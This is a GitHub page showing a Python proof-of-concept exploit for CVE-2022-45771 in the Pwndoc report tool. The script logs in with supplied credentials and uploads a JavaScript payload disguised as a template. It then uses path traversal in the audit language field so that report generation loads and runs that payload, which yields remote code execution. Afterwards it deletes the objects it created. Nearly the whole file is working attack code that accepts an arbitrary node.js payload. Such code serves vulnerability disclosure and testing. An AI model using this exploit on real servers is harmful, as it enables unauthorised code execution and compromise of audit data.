-
-
Notifications
You must be signed in to change notification settings - Fork 9
/
Copy pathCVE-2022-45771-Pwndoc-LFI-to-RCE.py
executable file
·294 lines (249 loc) · 17.6 KB
/
CVE-2022-45771-Pwndoc-LFI-to-RCE.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# File name : CVE-2022-45771-Pwndoc-LFI-to-RCE.py
# Author : Podalirius (@podalirius_)
# Date created : 13 Dec 2022
import argparse
import base64
import os
import requests
import random
def parseArgs():
print("PoC CVE-2022-45771 - Pwndoc LFI to RCE - by @podalirius_\n")
parser = argparse.ArgumentParser(description="PoC CVE-2022-45771 - Pwndoc LFI to RCE - by @podalirius_")
parser.add_argument("-u", "--username", default=None, required=True, help='Pwndoc username')
parser.add_argument("-p", "--password", default=None, required=True, help='Pwndoc password')
parser.add_argument("-H", "--host", default=None, required=True, type=str, help='Pwndoc ip')
parser.add_argument("-P", "--port", default=8443, required=False, type=int, help='Pwndoc port')
parser.add_argument("-v", "--verbose", default=False, action="store_true", help='Verbose mode. (default: False)')
parser.add_argument("--http", default=False, action="store_true", help='HTTP mode. (default: False)')
parser.add_argument("-f", "--payload-file", default=None, help='File containing node.js code to run on the server.')
return parser.parse_args()
def gen_random_name(length=8):
alphabet = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
name = ""
for k in range(length):
name += random.choice(alphabet)
return name
def login(session, target, username, password, verbose=False):
success = False
r = session.post(
target + "/api/users/token",
json={"username": username, "password": password, "totpToken": ""},
verify=False
)
if r.json()["status"] == "success":
if verbose:
print("[>] Successfully logged in.")
user = {
"token": r.json()["datas"]["token"],
"refreshToken": r.json()["datas"]["refreshToken"]
}
session.cookies.set("token", "JWT%20" + user["token"])
success = True
elif r.json()["status"] == "error":
if verbose:
print("[!] Login error. (%s)" % r.json()["status"])
success = False
return success
def create_audit(session, target, auditName, auditLanguage, auditType, verbose=False):
r = session.post(
target + "/api/audits",
json={
"name": auditName,
"language": auditLanguage,
"auditType": auditType
}
)
if r.json()["status"] == "success":
print("[+] Audit '%s' (%s) was successfully created." % (r.json()["datas"]["audit"]["name"], r.json()["datas"]["audit"]["_id"]))
return r.json()["datas"]["audit"]["_id"]
elif r.json()["status"] == "error":
print("[!] Error in audit creation. (%s)" % r.json()["datas"])
return None
return None
def create_audit_language(session, target, locale, language, verbose=False):
success = False
r = session.post(
target + "/api/data/languages",
json={
"locale": locale,
"language": language
}
)
if r.json()["status"] == "success":
print("[+] Language '%s' and locale '%s' were successfully created." % (language, locale))
success = True
elif r.json()["status"] == "error":
print("[!] Error in language or locale creation. (%s)" % r.json()["datas"])
success = False
return success
def create_audit_type(session, target, auditTypeName, templateName, templateLocale, templateId, verbose=False):
success = False
r = session.post(
target + "/api/data/audit-types",
json={
"name": auditTypeName,
"templates": [
{
"name": templateName,
"locale": templateLocale,
"template": templateId
}
],
"sections":[],
"hidden":[]
}
)
if r.json()["status"] == "success":
print("[+] AuditType '%s' was successfully created for template '%s' (%s)." % (auditTypeName, templateId, templateName))
success = True
elif r.json()["status"] == "error":
print("[!] Error in AuditType creation. (%s)" % r.json()["datas"])
success = False
return success
def set_audit_template(session, target, auditId, auditName, auditType, auditLanguage, templateId, verbose=False):
success = False
r = session.put(
target + "/api/audits/%s/general" % auditId,
json={
"collaborators": [],
"reviewers": [],
"_id": auditId,
"name": auditName,
"language": auditLanguage,
"auditType": auditType,
"customFields": [],
"template": templateId,
"scope": []
}
)
if r.json()["status"] == "success":
print("[+] Template '%s' was successfully added to audit '%s'." % (templateId, auditName))
success = True
elif r.json()["status"] == "error":
print("[!] Error in adding template to audit. (%s)" % r.json()["datas"])
success = False
return success
def generate_report(session, target, auditId, verbose=False):
success = False
r = session.get(target + "/api/audits/%s/generate" % auditId)
def create_template(session, target, templateName, path_to_file=None, ext="docx", rawdata=b'\x00', verbose=False):
if path_to_file is not None:
f = open(path_to_file, "rb")
bd64data = base64.b64encode(f.read()).decode('utf-8')
f.close()
else:
bd64data = base64.b64encode(rawdata).decode('utf-8')
r = session.post(
target + "/api/templates",
json={
"name": templateName,
"file": bd64data,
"ext": ext
}
)
if r.json()["status"] == "success":
print("[+] Template '%s.%s' was successfully created." % (templateName, ext))
return r.json()["datas"]['_id']
elif r.json()["status"] == "error":
print("[!] Error in template creation. (%s)" % r.json()["datas"])
return None
return None
def delete_audit(session, target, auditId, verbose=False):
print("[+] Deleting audit '%s'" % auditId)
r = session.delete(target + "/api/audits/%s" % auditId)
def delete_audit_type(session, target, auditType, verbose=False):
print("[+] Deleting auditType '%s'" % auditType)
r = session.get(target + "/api/data/audit-types")
if r.json()["status"] == "success":
new_audit_types = []
for at in r.json()["datas"]:
if at["name"] != auditType:
new_audit_types.append(at)
r = session.put(target + "/api/data/audit-types", json=new_audit_types)
elif r.json()["status"] == "error":
print("[!] Error in listing auditType. (%s)" % r.json()["datas"])
def delete_language_and_locale(session, target, language, locale, verbose=False):
print("[+] Deleting language '%s', locale '%s'" % (language, locale))
r = session.get(target + "/api/data/languages")
if r.json()["status"] == "success":
new_languages = []
for ll in r.json()["datas"]:
if ll["language"] != language and ll["locale"] != locale:
new_languages.append(ll)
r = session.put(target + "/api/data/languages", json=new_languages)
elif r.json()["status"] == "error":
print("[!] Error in listing languages. (%s)" % r.json()["datas"])
def delete_template(session, target, templateId, verbose=False):
print("[+] Deleting template '%s'" % templateId)
r = session.delete(target + "/api/templates/%s" % templateId)
if __name__ == '__main__':
options = parseArgs()
if options.http:
target = "http://%s:%d" % (options.host, options.port)
else:
target = "https://%s:%d" % (options.host, options.port)
# Disable warings of insecure connection for invalid certificates
requests.packages.urllib3.disable_warnings()
# Allow use of deprecated and weak cipher methods
requests.packages.urllib3.util.ssl_.DEFAULT_CIPHERS += ':HIGH:!DH:!aNULL'
try:
requests.packages.urllib3.contrib.pyopenssl.util.ssl_.DEFAULT_CIPHERS += ':HIGH:!DH:!aNULL'
except AttributeError:
pass
session = requests.Session()
logged_in = login(session=session, target=target, username=options.username, password=options.password, verbose=options.verbose)
if logged_in:
# Creating a random audit language
locale, language = gen_random_name(8), gen_random_name(8)
create_audit_language(session=session, target=target, locale=locale, language=language)
# Creating blank template for auditType
b64data = "UEsDBBQACAgIALp2jVUAAAAAAAAAAAAAAAALAAAAX3JlbHMvLnJlbHOtkk1LA0EMhu/9FUPu3WwriMjO9iJCbyL1B4SZ7O7Qzgczaa3/3kEKulCKoMe8efPwHNJtzv6gTpyLi0HDqmlBcTDRujBqeNs9Lx9g0y+6Vz6Q1EqZXCqq3oSiYRJJj4jFTOypNDFxqJshZk9SxzxiIrOnkXHdtveYfzKgnzHV1mrIW7sCtftI/Dc2ehayJIQmZl6mXK+zOC4VTnlk0WCjealx+Wo0lQx4XWj9e6E4DM7wUzRHz0GuefFZOFi2t5UopVtGd/9pNG98y7zHbNFe4ovNosPZG/SfUEsHCOjQASPZAAAAPQIAAFBLAwQUAAgICAC6do1V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kK6DmEeN2UkAyZy48MIUN9DluQrMT7zNEEobPnbEer8VBdjj4A7yoTi0agQsSjiOi9feBpq4lB/RYKpRkEIMWII5kvxsn+nB3Ftj+H0F36M/QX+0d3XBlDt7jp4kb7CqKST06hw+bFvzpp9j6juJrRFbspf3BCzc2wc56PAMIATV/kULv3I8wyWn3vyw/AFBLBwgL1RHHVAEAAF4FAABQSwECFAAUAAgICAC6do1V6NABI9kAAAA9AgAACwAAAAAAAAAAAAAAAAAAAAAAX3JlbHMvLnJlbHNQSwECFAAUAAgICAC6do1VKqqN9VABAACIAgAAEQAAAAAAAAAAAAAAAAASAQAAZG9jUHJvcHMvY29yZS54bWxQSwECFAAUAAgICAC6do1VZjtunCwBAAAcAgAAEAAAAAAAAAAAAAAAAAChAgAAZG9jUHJvcHMvYXBwLnhtbFBLAQIUABQACAgIALp2jVX5LzDAxQAAABMCAAAcAAAAAAAAAAAAAAAAAAsEAAB3b3JkL19yZWxzL2RvY3VtZW50LnhtbC5yZWxzUEsBAhQAFAAICAgAunaNVUBZNVgQAgAAgQUAABEAAAAAAAAAAAAAAAAAGgUAAHdvcmQvZG9jdW1lbnQueG1sUEsBAhQAFAAICAgAunaNVZolPIWkAgAAsAkAAA8AAAAAAAAAAAAAAAAAaQcAAHdvcmQvc3R5bGVzLnhtbFBLAQIUABQACAgIALp2jVXBx9kIHQEAAFUDAAASAAAAAAAAAAAAAAAAAEoKAAB3b3JkL2ZvbnRUYWJsZS54bWxQSwECFAAUAAgICAC6do1V4PfZ9/EAAABvAQAAEQAAAAAAAAAAAAAAAACnCwAAd29yZC9zZXR0aW5ncy54bWxQSwECFAAUAAgICAC6do1VC9URx1QBAABeBQAAEwAAAAAAAAAAAAAAAADXDAAAW0NvbnRlbnRfVHlwZXNdLnhtbFBLBQYAAAAACQAJADwCAABsDgAAAAA="
blankTemplateName = gen_random_name(16)
if options.verbose:
print("[debug] Using blankTemplateName = '%s'" % blankTemplateName)
blankTemplateId = create_template(session=session, target=target, templateName=blankTemplateName, rawdata=base64.b64decode(b64data), verbose=options.verbose)
if blankTemplateId is not None:
# Creating new auditType
auditTypeName = gen_random_name(16)
if options.verbose:
print("[debug] Using auditType = '%s'" % auditTypeName)
create_audit_type(session=session, target=target, auditTypeName=auditTypeName, templateName=blankTemplateName, templateLocale=locale, templateId=blankTemplateId, verbose=options.verbose)
# Creating exploit template (arbitrary file upload)
print("[+] Creating the exploit template (arbitrary file upload)")
exploitTemplateName = gen_random_name(16)
auditLanguage = "../../report-templates/%s.js" % exploitTemplateName
if options.verbose:
print("[debug] Using blankTemplateName = '%s'" % exploitTemplateName)
payload = b"require('child_process').spawn('id')"
if options.payload_file is not None:
if os.path.exists(options.payload_file):
f = open(options.payload_file, "rb")
payload = f.read()
f.close()
exploitTemplateId = create_template(session=session, target=target, templateName=exploitTemplateName, ext="js", rawdata=payload, verbose=options.verbose)
# Creating an audit to trigger the RCE
print("[+] Creating an audit to trigger the RCE through require('../../report-templates/%s.js')" % exploitTemplateName)
auditName = gen_random_name(16)
if options.verbose:
print("[debug] Using auditName = '%s'" % auditName)
auditId = create_audit(session=session, target=target, auditName=auditName, auditLanguage=auditLanguage, auditType=auditTypeName, verbose=options.verbose)
if auditId is not None:
template_updated = set_audit_template(session=session, target=target, auditName=auditName, auditId=auditId, auditType=auditTypeName, auditLanguage=auditLanguage, templateId=blankTemplateId, verbose=options.verbose)
if template_updated:
print("[+] Generating report and triggering server-side code execution...")
generate_report(session, target, auditId, verbose=False)
input("\nPress enter to start cleaning up exploit objects...\n")
delete_audit(session=session, target=target, auditId=auditId, verbose=options.verbose)
delete_audit_type(session=session, target=target, auditType=auditTypeName, verbose=options.verbose)
delete_language_and_locale(session=session, target=target, language=language, locale=locale, verbose=options.verbose)
delete_template(session=session, target=target, templateId=blankTemplateId, verbose=options.verbose)
delete_template(session=session, target=target, templateId=exploitTemplateId, verbose=options.verbose)
else:
print("[!] Could not set template '%s' in audit '%s'." % (exploitTemplateId, auditName))
else:
print("[!] Could not create audit.")
else:
print("[!] Could not create template.")
print("[+] Bye bye!")